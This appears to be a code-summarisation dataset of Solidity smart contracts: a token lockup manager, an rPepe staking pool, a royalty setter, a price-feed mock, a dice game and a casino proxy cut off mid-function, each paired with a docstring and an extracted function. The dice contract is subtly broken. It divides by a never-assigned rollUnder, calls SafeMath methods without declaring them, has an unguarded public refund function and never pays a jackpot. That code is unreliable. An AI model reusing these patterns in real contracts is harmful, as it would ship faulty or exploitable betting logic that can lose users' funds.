uint256 unlockedAmount
) {
if (lockups[_lockupName].lockupAmount != 0) {
return (
lockups[_lockupName].lockupAmount,
lockups[_lockupName].startTime,
lockups[_lockupName].lockUpPeriodSeconds,
lockups[_lockupName].releaseFrequencySeconds,
_getUnlockedAmountForLockup(_lockupName)
);
}
return (uint256(0), uint256(0), uint256(0), uint256(0), uint256(0));
}
/**
* @notice get the list of the users of a lockup type
* @param _lockupName Name of the lockup type
* @return address List of users associated with the blacklist
*/
function getListOfAddresses(bytes32 _lockupName) external view returns(address[]) {
require(lockups[_lockupName].startTime != 0, "Blacklist type doesn't exist");
return lockupToUsers[_lockupName];
}
/**
* @notice get the list of lockups names
* @return bytes32 Array of lockups names
*/
function getAllLockups() external view returns(bytes32[]) {
return lockupArray;
}
/**
* @notice Return the data of the lockups
*/
function getAllLockupData() external view returns(
bytes32[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
uint256[] memory lockupAmounts = new uint256[](lockupArray.length);
uint256[] memory startTimes = new uint256[](lockupArray.length);
uint256[] memory lockUpPeriodSeconds = new uint256[](lockupArray.length);
uint256[] memory releaseFrequencySeconds = new uint256[](lockupArray.length);
uint256[] memory unlockedAmounts = new uint256[](lockupArray.length);
for (uint256 i = 0; i < lockupArray.length; i++) {
(lockupAmounts[i], startTimes[i], lockUpPeriodSeconds[i], releaseFrequencySeconds[i], unlockedAmounts[i]) = getLockUp(lockupArray[i]);
}
return (
lockupArray,
lockupAmounts,
startTimes,
lockUpPeriodSeconds,
releaseFrequencySeconds,
unlockedAmounts
);
}
/**
* @notice get the list of the lockups for a given user
* @param _user Address of the user
* @return bytes32 List of lockups names associated with the given address
*/
function getLockupsNamesToUser(address _user) external view returns(bytes32[]) {
return userToLockups[_user];
}
/**
* @notice Use to get the total locked tokens for a given user
* @param _userAddress Address of the user
* @return uint256 Total locked tokens amount
*/
function getLockedTokenToUser(address _userAddress) public view returns(uint256) {
require(_userAddress != address(0), "Invalid address");
bytes32[] memory userLockupNames = userToLockups[_userAddress];
uint256 totalRemainingLockedAmount = 0;
for (uint256 i = 0; i < userLockupNames.length; i++) {
// Find out the remaining locked amount for a given lockup
uint256 remainingLockedAmount = lockups[userLockupNames[i]].lockupAmount.sub(_getUnlockedAmountForLockup(userLockupNames[i]));
// aggregating all the remaining locked amount for all the lockups for a given address
totalRemainingLockedAmount = totalRemainingLockedAmount.add(remainingLockedAmount);
}
return totalRemainingLockedAmount;
}
/**
* @notice Checks whether the transfer is allowed
* @param _userAddress Address of the user whose lock ups should be checked
* @param _amount Amount of tokens that need to transact
*/
function _checkIfValidTransfer(address _userAddress, uint256 _amount) internal view returns (Result) {
uint256 totalRemainingLockedAmount = getLockedTokenToUser(_userAddress);
// Present balance of the user
uint256 currentBalance = ISecurityToken(securityToken).balanceOf(_userAddress);
if ((currentBalance.sub(_amount)) >= totalRemainingLockedAmount) {
return Result.NA;
}
return Result.INVALID;
}
/**
* @notice Provide the unlock amount for the given lockup for a particular user
*/
function _getUnlockedAmountForLockup(bytes32 _lockupName) internal view returns (uint256) {
/*solium-disable-next-line security/no-block-members*/
if (lockups[_lockupName].startTime > now) {
return 0;
} else if (lockups[_lockupName].startTime.add(lockups[_lockupName].lockUpPeriodSeconds) <= now) {
return lockups[_lockupName].lockupAmount;
} else {
// Calculate the no. of periods for a lockup
uint256 noOfPeriods = (lockups[_lockupName].lockUpPeriodSeconds).div(lockups[_lockupName].releaseFrequencySeconds);
// Calculate the transaction time lies in which period
/*solium-disable-next-line security/no-block-members*/
uint256 elapsedPeriod = (now.sub(lockups[_lockupName].startTime)).div(lockups[_lockupName].releaseFrequencySeconds);
// Find out the unlocked amount for a given lockup
uint256 unLockedAmount = (lockups[_lockupName].lockupAmount.mul(elapsedPeriod)).div(noOfPeriods);
return unLockedAmount;
}
}
function _removeLockupType(bytes32 _lockupName) internal {
require(lockups[_lockupName].startTime != 0, "Lockup type doesn’t exist");
require(lockupToUsers[_lockupName].length == 0, "Users are associated with the lockup");
// delete lockup type
delete(lockups[_lockupName]);
uint256 i = 0;
for (i = 0; i < lockupArray.length; i++) {
if (lockupArray[i] == _lockupName) {
break;
}
}
if (i != lockupArray.length -1) {
lockupArray[i] = lockupArray[lockupArray.length -1];
}
lockupArray.length--;
emit RemoveLockUpType(_lockupName);
}
function _modifyLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
/*solium-disable-next-line security/no-block-members*/
uint256 startTime = _startTime;
if (_startTime == 0) {
startTime = now;
}
require(startTime >= now, "Invalid start time");
require(lockups[_lockupName].lockupAmount != 0, "Doesn't exist");
_checkLockUpParams(
_lockupAmount,
_lockUpPeriodSeconds,
_releaseFrequencySeconds
);
lockups[_lockupName] = LockUp(
_lockupAmount,
startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds
);
emit ModifyLockUpType(
_lockupAmount,
startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
}
function _removeLockUpFromUser(address _userAddress, bytes32 _lockupName) internal {
require(_userAddress != address(0), "Invalid address");
require(_lockupName != bytes32(0), "Invalid lockup name");
require(
userToLockups[_userAddress][userToLockupIndex[_userAddress][_lockupName]] == _lockupName,
"User not assosicated with given lockup"
);
// delete the user from the lockup type
uint256 _lockupIndex = lockupToUserIndex[_lockupName][_userAddress];
uint256 _len = lockupToUsers[_lockupName].length;
if ( _lockupIndex != _len) {
lockupToUsers[_lockupName][_lockupIndex] = lockupToUsers[_lockupName][_len - 1];
lockupToUserIndex[_lockupName][lockupToUsers[_lockupName][_lockupIndex]] = _lockupIndex;
}
lockupToUsers[_lockupName].length--;
// delete the user index from the lockup
delete(lockupToUserIndex[_lockupName][_userAddress]);
// delete the lockup from the user
uint256 _userIndex = userToLockupIndex[_userAddress][_lockupName];
_len = userToLockups[_userAddress].length;
if ( _userIndex != _len) {
userToLockups[_userAddress][_userIndex] = userToLockups[_userAddress][_len - 1];
userToLockupIndex[_userAddress][userToLockups[_userAddress][_userIndex]] = _userIndex;
}
userToLockups[_userAddress].length--;
// delete the lockup index from the user
delete(userToLockupIndex[_userAddress][_lockupName]);
emit RemoveLockUpFromUser(_userAddress, _lockupName);
}
function _addNewLockUpToUser(
address _userAddress,
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
require(_userAddress != address(0), "Invalid address");
_addNewLockUpType(
_lockupAmount,
_startTime,
_lockUpPeriodSeconds,
_releaseFrequencySeconds,
_lockupName
);
_addLockUpByName(_userAddress, _lockupName);
}
function _addLockUpByName(
address _userAddress,
bytes32 _lockupName
)
internal
{
require(_userAddress != address(0), "Invalid address");
require(lockups[_lockupName].startTime >= now, "Lockup expired");
userToLockupIndex[_userAddress][_lockupName] = userToLockups[_userAddress].length;
lockupToUserIndex[_lockupName][_userAddress] = lockupToUsers[_lockupName].length;
userToLockups[_userAddress].push(_lockupName);
lockupToUsers[_lockupName].push(_userAddress);
emit AddLockUpToUser(_userAddress, _lockupName);
}
function _addNewLockUpType(
uint256 _lockupAmount,
uint256 _startTime,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds,
bytes32 _lockupName
)
internal
{
uint256 startTime = _startTime;
require(_lockupName != bytes32(0), "Invalid name");
require(lockups[_lockupName].lockupAmount == 0, "Already exist");
/*solium-disable-next-line security/no-block-members*/
if (_startTime == 0) {
startTime = now;
}
require(startTime >= now, "Invalid start time");
_checkLockUpParams(_lockupAmount, _lockUpPeriodSeconds, _releaseFrequencySeconds);
lockups[_lockupName] = LockUp(_lockupAmount, startTime, _lockUpPeriodSeconds, _releaseFrequencySeconds);
lockupArray.push(_lockupName);
emit AddNewLockUpType(_lockupName, _lockupAmount, startTime, _lockUpPeriodSeconds, _releaseFrequencySeconds);
}
/**
* @notice Parameter checking function for creating or editing a lockup.
* This function will cause an exception if any of the parameters are bad.
* @param _lockupAmount Amount that needs to be locked
* @param _lockUpPeriodSeconds Total period of lockup (seconds)
* @param _releaseFrequencySeconds How often to release a tranche of tokens (seconds)
*/
function _checkLockUpParams(
uint256 _lockupAmount,
uint256 _lockUpPeriodSeconds,
uint256 _releaseFrequencySeconds
)
internal
pure
{
require(_lockUpPeriodSeconds != 0, "lockUpPeriodSeconds cannot be zero");
require(_releaseFrequencySeconds != 0, "releaseFrequencySeconds cannot be zero");
require(_lockupAmount != 0, "lockupAmount cannot be zero");
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
/**
* @notice Returns the permissions flag that are associated with Percentage transfer Manager
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](1);
allPermissions[0] = ADMIN;
return allPermissions;
}
}
|
This function returns the signature of configure function/
|
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
| 1,084,409
|
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////################################################################/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////THIS IS THE RPEPEBLU POOL OF KEK STAKING - rPepe Token Staking//////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////################################################################/////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: UNLICENSED
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
interface IKEK{
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function transfer(address to, uint256 tokens) external returns (bool success);
function claimRewards(uint256 rewards, address rewardedTo) external returns(bool);
function stakingRewardsAvailable() external view returns(uint256 _rewardsAvailable);
}
pragma solidity ^0.6.0;
contract rPepeToKEK {
using SafeMath for uint256;
uint256 public currentStakingRate;
address public KEK = 0x31AEe7Db3b390bAaD34213C173A9df0dd11D84bd;
address public RPepe = 0x0e9b56D2233ea2b5883861754435f9C51Dbca141;
uint256 public totalRewards;
uint256 private basePercent = 100;
struct DepositedToken{
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
uint rate;
}
mapping(address => DepositedToken) users;
event Staked(address indexed staker, uint256 indexed tokens);
event StakingRateChanged(uint256 indexed stakingRatePerHour);
event TokensClaimed(address indexed claimer, uint256 indexed stakedTokens);
event RewardClaimed(address indexed claimer, uint256 indexed reward);
constructor() public{
currentStakingRate = 1e16; // 0.01 per hour
}
// ------------------------------------------------------------------------
// Start staking
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function Stake(uint256 _amount) external {
// transfer tokens from user to the contract balance
require(IKEK(RPepe).transferFrom(msg.sender, address(this), _amount));
uint256 tokensBurned = findTwoPointFivePercent(_amount);
uint256 tokensTransferred = _amount.sub(tokensBurned);
// add new stake
_addToStake(tokensTransferred);
emit Staked(msg.sender, _amount);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimStakedTokens() public {
require(users[msg.sender].activeDeposit > 0, "no running stake");
uint256 _currentDeposit = users[msg.sender].activeDeposit;
// check if we have any pending reward, add it to pendingGains var
users[msg.sender].pendingGains = PendingReward(msg.sender);
// update amount
users[msg.sender].activeDeposit = 0;
// transfer staked tokens
require(IKEK(RPepe).transfer(msg.sender, _currentDeposit));
emit TokensClaimed(msg.sender, _currentDeposit);
}
// ------------------------------------------------------------------------
// Claim reward and staked tokens
// @required user must be a staker
// @required must be claimable
// ------------------------------------------------------------------------
function ClaimReward() public {
require(PendingReward(msg.sender) > 0, "nothing pending to claim");
uint256 _pendingReward = PendingReward(msg.sender);
// add claimed reward to global stats
totalRewards = totalRewards.add(_pendingReward);
// add the reward to total claimed rewards
users[msg.sender].totalGained = users[msg.sender].totalGained.add(_pendingReward);
// update lastClaim amount
users[msg.sender].lastClaimedDate = now;
// reset previous rewards
users[msg.sender].pendingGains = 0;
// send tokens from KEK to the user
require(IKEK(KEK).claimRewards(_pendingReward, msg.sender));
_updateStakingRate();
// update staking rate
users[msg.sender].rate = currentStakingRate;
emit RewardClaimed(msg.sender, _pendingReward);
}
function Exit() external{
if(PendingReward(msg.sender) > 0)
ClaimReward();
if(users[msg.sender].activeDeposit > 0)
ClaimStakedTokens();
}
// ------------------------------------------------------------------------
// Private function to update the staking rate
// ------------------------------------------------------------------------
function _updateStakingRate() private{
uint256 originalRewards = 49000000 * 10 ** 18;
// check the current volume of the rewards
uint256 rewardsAvailable = IKEK(KEK).stakingRewardsAvailable();
uint256 rewardsRemoved = originalRewards.sub(rewardsAvailable);
if(rewardsRemoved >= 12250000 * 10 ** 18 && rewardsRemoved < 24500000 * 10 ** 18) { // less than 25% but greater than 50%
currentStakingRate = 5e15; // 0.005 per hour
}
else if(rewardsRemoved >= 24500000 * 10 ** 18 && rewardsRemoved < 34300000 * 10 ** 18){ // less than equal to 50% but greater than 70%
currentStakingRate = 2e15; // 0.002 per hour
}
else if(rewardsRemoved >= 34300000 * 10 ** 18 && rewardsRemoved < 44100000 * 10 ** 18){ // less than equal to 70% but greater than 90%
currentStakingRate = 1e15; // 0.001 per hour
}
else if(rewardsRemoved >= 44100000 * 10 ** 18) {
currentStakingRate = 5e14; // 0.0005 per hour
}
}
// ------------------------------------------------------------------------
// Query to get the pending reward
// ------------------------------------------------------------------------
function PendingReward(address _caller) public view returns(uint256 _pendingReward){
uint256 _totalStakedTime = (now.sub(users[_caller].lastClaimedDate)).div(1 hours); // in hours
uint256 reward = ((users[_caller].activeDeposit).mul(_totalStakedTime.mul(users[_caller].rate)));
reward = reward.div(10 ** 18);
return reward.add(users[_caller].pendingGains);
}
// ------------------------------------------------------------------------
// Query to get the active stake of the user
// ------------------------------------------------------------------------
function YourActiveStake(address _user) external view returns(uint256 _activeStake){
return users[_user].activeDeposit;
}
// ------------------------------------------------------------------------
// Query to get the total stakes of the user
// ------------------------------------------------------------------------
function YourTotalStakes(address _user) external view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
// ------------------------------------------------------------------------
// Query to get total earned rewards from stake
// ------------------------------------------------------------------------
function TotalStakeRewardsClaimed(address _user) external view returns(uint256 _totalEarned){
return users[_user].totalGained;
}
// ------------------------------------------------------------------------
// Query to get the staking rate you staked at
// ------------------------------------------------------------------------
function YourStakingRate(address _user) external view returns(uint256 _stakingRate){
return users[_user].rate;
}
// ------------------------------------------------------------------------
// Internal function to add new deposit
// ------------------------------------------------------------------------
function _addToStake(uint256 _amount) internal{
_updateStakingRate();
// check if we have any pending reward, add it to pendingGains variable
users[msg.sender].pendingGains = PendingReward(msg.sender);
users[msg.sender].rate = currentStakingRate; // rate for stakers will be fixed at time of staking
users[msg.sender].activeDeposit = users[msg.sender].activeDeposit.add(_amount);
users[msg.sender].totalDeposits = users[msg.sender].totalDeposits.add(_amount);
users[msg.sender].startTime = now;
users[msg.sender].lastClaimedDate = now;
}
//// utility function from RPepe
function findTwoPointFivePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 twoPointFivePercent = roundValue.mul(basePercent).div(4000);
return twoPointFivePercent;
}
}
|
------------------------------------------------------------------------ Query to get the total stakes of the user ------------------------------------------------------------------------
|
function YourTotalStakes(address _user) external view returns(uint256 _totalStakes){
return users[_user].totalDeposits;
}
| 2,118,825
|
./partial_match/137/0xb2B03323D6d66f96B880762E37E594C8D15a6C9b/sources/zip/test/t5.sol
|
Royalty
|
function changeRoyalityFee(uint96 newFee) public onlyOwner returns (uint96) {
__fee = newFee;
_setDefaultRoyalty(creator, newFee);
emit RoyaltyFee(__fee, block.timestamp);
return __fee;
}
| 3,522,440
|
// contracts/mocks/PriceFeedMock.sol
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IChainLinkFeed.sol";
// Mock of USDC/USD price feed
contract PriceFeedMock is IChainLinkFeed {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function latestAnswer() public override view returns (int256) {
// return static fixed value
return 99991747;
}
}
|
return static fixed value
|
function latestAnswer() public override view returns (int256) {
return 99991747;
}
| 5,410,695
|
pragma solidity >=0.4.0 <0.6.0;
import "./SafeMath.sol";
// @title Faireum Dice Game Contract
contract FaireumDice{
// State Variables
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 250000 ether;
uint constant HOUSE_PERCENT = 15;
uint constant HOUSE_MINIMUM_AMOUNT = 0.0002 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.0015 ether;
uint constant MIN_JACKPOT_BET = 0.15 ether;
uint128 public lockedInBets;
address public owner;
address public croupier;
uint public profitLimit;
uint public jackpotAmount;
mapping (uint => Bet) bets;
// A single bet struct
struct Bet {
uint amount;
uint8 modulo;
uint8 rollUnder;
uint40 blockNumber;
address user;
}
//Events
event PaymentCompleted(address user, uint amount);
event PaymentFailed(address user, uint amount);
event JackpotPaid(address user, uint amount);
event BetPlaced(uint betID, address user, uint amount);
//Modifiers
modifier onlyOwner {
require (msg.sender == owner, "Must be contract owner to invoke this method.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "Must be croupier to invoke this method.");
_;
}
// Constructor.
constructor () public {
owner = msg.sender;
croupier = address(0xFa1cb3601A518337DE08F67Ceda7f23B8A800F52);
}
// Fallback function. Deliberately left empty.
function () public payable {
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setProfitLimit(uint limit) public onlyOwner {
require (limit < MAX_AMOUNT, "Profit limit must be less than max amount");
profitLimit = limit;
}
function kill() external onlyOwner {
require (lockedInBets == 0, "Contract can't be destroyed if there are on going bets");
selfdestruct(owner);
}
// @dev Logic for placing a bet, recieves value of bet
// @param modulo - Modulo for the game
// @param betID - Unique bet identifier (Keccak256 hash)
function placeBet (
uint modulo,
uint betID
)
external payable
{
Bet storage bet = bets[betID];
require (bet.user == address(0), "Should be a new bet.");
//Validate amounts
uint amount = msg.value;
require (modulo > 1 && modulo <= 100, "Modulo is out of range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount is out of range.");
uint rollUnder;
uint winAmount;
uint jackpotFee;
(winAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (winAmount <= amount + profitLimit, "Win amount exceeds max profit.");
lockedInBets += uint128(winAmount);
jackpotAmount += uint128(jackpotFee);
require( jackpotAmount + lockedInBets <= address(this).balance, "Contract doesn't have enough funds to place this bet.");
//Store bet
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.blockNumber = uint40(block.number);
bet.user = msg.sender;
emit BetPlaced(betID, bet.user, amount);
}
// @dev returns the expected amount to win after subtracting house edge
// @param amount - bet amount
// @param modulo - modulo of the game
// @param rollUnder - number to roll under
function getDiceWinAmount(
uint amount,
uint modulo,
uint rollUnder
)
private
pure
returns (uint winAmount, uint jackpotFee)
{
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * (HOUSE_PERCENT / 10) / 100;
if (houseEdge < HOUSE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_MINIMUM_AMOUNT;
}
require(houseEdge + jackpotFee <= amount, "Amount is too small.");
winAmount = (amount.sub(houseEdge).sub(jackpotFee))
.mul(modulo / rollUnder);
}
function refund(uint BetID) {
Bet storage bet = bets[BetID];
uint amount = bet.amount;
require (amount != 0, "Bet is not active");
bet.amount = 0;
uint winAmount;
uint jackpotFee;
(winAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder);
processPayment(bet.user, amount);
}
// @dev settles the bet
function settleBet(
uint reveal,
bytes32 blockHash
)
external
onlyCroupier
{
uint betID = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[betID];
uint blockNumber = bet.blockNumber;
require (blockhash(blockNumber) == blockHash);
uint amount = bet.amount;
uint modulo = bet.modulo;
uint rollUnder = bet.rollUnder;
address user = bet.user;
require (amount != 0, "Bet must have value amount.");
bytes32 random = keccak256(abi.encodePacked(reveal, blockHash));
uint diceRoll = uint(random) % modulo;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (diceRoll < rollUnder) {
diceWin = diceWinAmount;
}
if (jackpotWin > 0) {
emit JackpotPaid(user, jackpotWin);
}
uint paymentAmount = diceWin + jackpotWin;
processPayment(user, paymentAmount);
}
function processPayment(address user, uint amount) private {
if (user.send(amount)) {
emit PaymentCompleted(user, amount);
} else {
emit PaymentFailed(user, amount);
}
}
}
|
Logic for placing a bet, recieves value of bet modulo - Modulo for the game betID - Unique bet identifier (Keccak256 hash)Validate amountsStore bet
|
function placeBet (
uint modulo,
uint betID
)
external payable
{
Bet storage bet = bets[betID];
require (bet.user == address(0), "Should be a new bet.");
uint amount = msg.value;
require (modulo > 1 && modulo <= 100, "Modulo is out of range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount is out of range.");
uint rollUnder;
uint winAmount;
uint jackpotFee;
(winAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
require (winAmount <= amount + profitLimit, "Win amount exceeds max profit.");
lockedInBets += uint128(winAmount);
jackpotAmount += uint128(jackpotFee);
require( jackpotAmount + lockedInBets <= address(this).balance, "Contract doesn't have enough funds to place this bet.");
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.blockNumber = uint40(block.number);
bet.user = msg.sender;
emit BetPlaced(betID, bet.user, amount);
}
| 2,518,273
|
/**
* Edgeless Casino Proxy Contract. Serves as a proxy for game functionality.
* Allows the players to deposit and withdraw funds.
* Allows authorized addresses to make game transactions.
* author: Julia Altenried
**/
pragma solidity ^0.4.17;
contract token {
function transferFrom(address sender, address receiver, uint amount) public returns(bool success) {}
function transfer(address receiver, uint amount) public returns(bool success) {}
function balanceOf(address holder) public constant returns(uint) {}
}
contract owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function owned() public{
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner public{
owner = newOwner;
}
}
contract safeMath {
//internals
function safeSub(uint a, uint b) constant internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) constant internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) constant internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract casinoBank is owned, safeMath{
/** the total balance of all players with 4 virtual decimals **/
uint public playerBalance;
/** the balance per player in edgeless tokens with 4 virtual decimals */
mapping(address=>uint) public balanceOf;
/** in case the user wants/needs to call the withdraw function from his own wallet, he first needs to request a withdrawal */
mapping(address=>uint) public withdrawAfter;
/** the price per kgas in tokens (4 decimals) */
uint public gasPrice = 4;
/** the average amount of gas consumend per game **/
mapping(address=>uint) public avgGas;
/** the edgeless token contract */
token edg;
/** owner should be able to close the contract is nobody has been using it for at least 30 days */
uint public closeAt;
/** informs listeners how many tokens were deposited for a player */
event Deposit(address _player, uint _numTokens, bool _chargeGas);
/** informs listeners how many tokens were withdrawn from the player to the receiver address */
event Withdrawal(address _player, address _receiver, uint _numTokens);
function casinoBank(address tokenContract) public{
edg = token(tokenContract);
}
/**
* accepts deposits for an arbitrary address.
* retrieves tokens from the message sender and adds them to the balance of the specified address.
* edgeless tokens do not have any decimals, but are represented on this contract with 4 decimals.
* @param receiver address of the receiver
* numTokens number of tokens to deposit (0 decimals)
* chargeGas indicates if the gas cost is subtracted from the user's edgeless token balance
**/
function deposit(address receiver, uint numTokens, bool chargeGas) public isAlive{
require(numTokens > 0);
uint value = safeMul(numTokens,10000);
if(chargeGas) value = safeSub(value, msg.gas/1000 * gasPrice);
assert(edg.transferFrom(msg.sender, address(this), numTokens));
balanceOf[receiver] = safeAdd(balanceOf[receiver], value);
playerBalance = safeAdd(playerBalance, value);
Deposit(receiver, numTokens, chargeGas);
}
/**
* If the user wants/needs to withdraw his funds himself, he needs to request the withdrawal first.
* This method sets the earliest possible withdrawal date to 7 minutes from now.
* Reason: The user should not be able to withdraw his funds, while the the last game methods have not yet been mined.
**/
function requestWithdrawal() public{
withdrawAfter[msg.sender] = now + 7 minutes;
}
/**
* In case the user requested a withdrawal and changes his mind.
* Necessary to be able to continue playing.
**/
function cancelWithdrawalRequest() public{
withdrawAfter[msg.sender] = 0;
}
/**
* withdraws an amount from the user balance if 7 minutes passed since the request.
* @param amount the amount of tokens to withdraw
**/
function withdraw(uint amount) public keepAlive{
require(withdrawAfter[msg.sender]>0 && now>withdrawAfter[msg.sender]);
withdrawAfter[msg.sender] = 0;
uint value = safeMul(amount,10000);
balanceOf[msg.sender]=safeSub(balanceOf[msg.sender],value);
playerBalance = safeSub(playerBalance, value);
assert(edg.transfer(msg.sender, amount));
Withdrawal(msg.sender, msg.sender, amount);
}
/**
* lets the owner withdraw from the bankroll
* @param numTokens the number of tokens to withdraw (0 decimals)
**/
function withdrawBankroll(uint numTokens) public onlyOwner {
require(numTokens <= bankroll());
assert(edg.transfer(owner, numTokens));
}
/**
* returns the current bankroll in tokens with 0 decimals
**/
function bankroll() constant public returns(uint){
return safeSub(edg.balanceOf(address(this)), playerBalance/10000);
}
/**
* lets the owner close the contract if there are no player funds on it or if nobody has been using it for at least 30 days
*/
function close() onlyOwner public{
if(playerBalance == 0) selfdestruct(owner);
if(closeAt == 0) closeAt = now + 30 days;
else if(closeAt < now) selfdestruct(owner);
}
/**
* in case close has been called accidentally.
**/
function open() onlyOwner public{
closeAt = 0;
}
/**
* make sure the contract is not in process of being closed.
**/
modifier isAlive {
require(closeAt == 0);
_;
}
/**
* delays the time of closing.
**/
modifier keepAlive {
if(closeAt > 0) closeAt = now + 30 days;
_;
}
}
contract casinoProxy is casinoBank{
/** indicates if an address is authorized to call game functions */
mapping(address => bool) public authorized;
/** indicates if the user allowed a casino game address to move his/her funds **/
mapping(address => mapping(address => bool)) public authorizedByUser;
/** counts how often an address has been deauthorized by the user => make sure signatzures can't be reused**/
mapping(address => mapping(address => uint8)) public lockedByUser;
/** list of casino game contract addresses */
address[] public casinoGames;
/** a number to count withdrawal signatures to ensure each signature is different even if withdrawing the same amount to the same address */
mapping(address => uint) public count;
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier onlyCasinoGames {
bool isCasino;
for (uint i = 0; i < casinoGames.length; i++){
if(msg.sender == casinoGames[i]){
isCasino = true;
break;
}
}
require(isCasino);
_;
}
/**
* creates a new casino wallet.
* @param authorizedAddress the address which may send transactions to the Edgeless Casino
* blackjackAddress the address of the Edgeless blackjack contract
* tokenContract the address of the Edgeless token contract
**/
function casinoProxy(address authorizedAddress, address blackjackAddress, address tokenContract) casinoBank(tokenContract) public{
authorized[authorizedAddress] = true;
casinoGames.push(blackjackAddress);
}
/**
* shifts tokens from the contract balance to the player or the other way round.
* only callable from an edgeless casino contract. sender must have been approved by the user.
* @param player the address of the player
* numTokens the amount of tokens to shift with 4 decimals
* isReceiver tells if the player is receiving token or the other way round
**/
function shift(address player, uint numTokens, bool isReceiver) public onlyCasinoGames{
require(authorizedByUser[player][msg.sender]);
var gasCost = avgGas[msg.sender] * gasPrice;
if(isReceiver){
numTokens = safeSub(numTokens, gasCost);
balanceOf[player] = safeAdd(balanceOf[player], numTokens);
playerBalance = safeAdd(playerBalance, numTokens);
}
else{
numTokens = safeAdd(numTokens, gasCost);
balanceOf[player] = safeSub(balanceOf[player], numTokens);
playerBalance = safeSub(playerBalance, numTokens);
}
}
/**
* transfers an amount from the contract balance to the owner's wallet.
* @param receiver the receiver address
* amount the amount of tokens to withdraw (0 decimals)
* v,r,s the signature of the player
**/
function withdrawFor(address receiver, uint amount, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized keepAlive{
uint gasCost = msg.gas/1000 * gasPrice;
var player = ecrecover(keccak256(receiver, amount, count[receiver]), v, r, s);
count[receiver]++;
uint value = safeAdd(safeMul(amount,10000), gasCost);
balanceOf[player] = safeSub(balanceOf[player], value);
playerBalance = safeSub(playerBalance, value);
assert(edg.transfer(receiver, amount));
